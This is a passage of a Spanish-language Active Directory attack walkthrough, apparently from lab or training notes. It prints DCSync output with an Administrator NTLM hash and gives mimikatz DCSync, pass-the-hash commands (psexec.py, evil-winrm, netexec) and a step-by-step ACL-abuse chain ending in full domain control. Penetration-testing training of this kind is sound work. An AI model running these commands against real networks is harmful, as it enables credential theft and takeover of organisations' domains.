Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>

DCSync de krbtgt para verificación rápida de acceso ​

cmd
mimikatz.exe "lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt /csv" exit

Usar las credenciales extraídas ​

Pass-the-Hash con el NTLM del Administrator ​

bash
psexec.py administrator@172.16.5.5 -hashes :88ad09182de639ccc6579eb0849751cf

Con evil-winrm ​

bash
evil-winrm -i 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

Con netexec para verificar acceso ​

bash
netexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

Resumen del flujo completo (walkthrough end-to-end) ​

  • wley tiene ForceChangePassword sobre damundsen → resetear su contraseña con Set-DomainUserPassword
  • damundsen tiene GenericWrite sobre el grupo Help Desk Level 1 → agregarse con Add-DomainGroupMember
  • Help Desk Level 1 es miembro de Information Technology, que tiene GenericAll sobre adunn
  • Con GenericAll sobre adunn, asignarle un SPN falso y Kerberoastearla, o verificar que adunn ya tiene derechos de replicación
  • adunn tiene DS-Replication-Get-Changes + DS-Replication-Get-Changes-All sobre el dominio → ejecutar DCSync
  • Extraer hashes con secretsdump.py -just-dc (Linux) o mimikatz lsadump::dcsync (Windows)
  • Revisar cuentas con reversible encryption para contraseñas en texto claro adicionales
  • Usar el hash de Administrator obtenido para Pass-the-Hash y acceso total al dominio
  • Ejecutar cleanup: eliminar SPN falso, remover de grupos, restaurar contraseñas donde aplique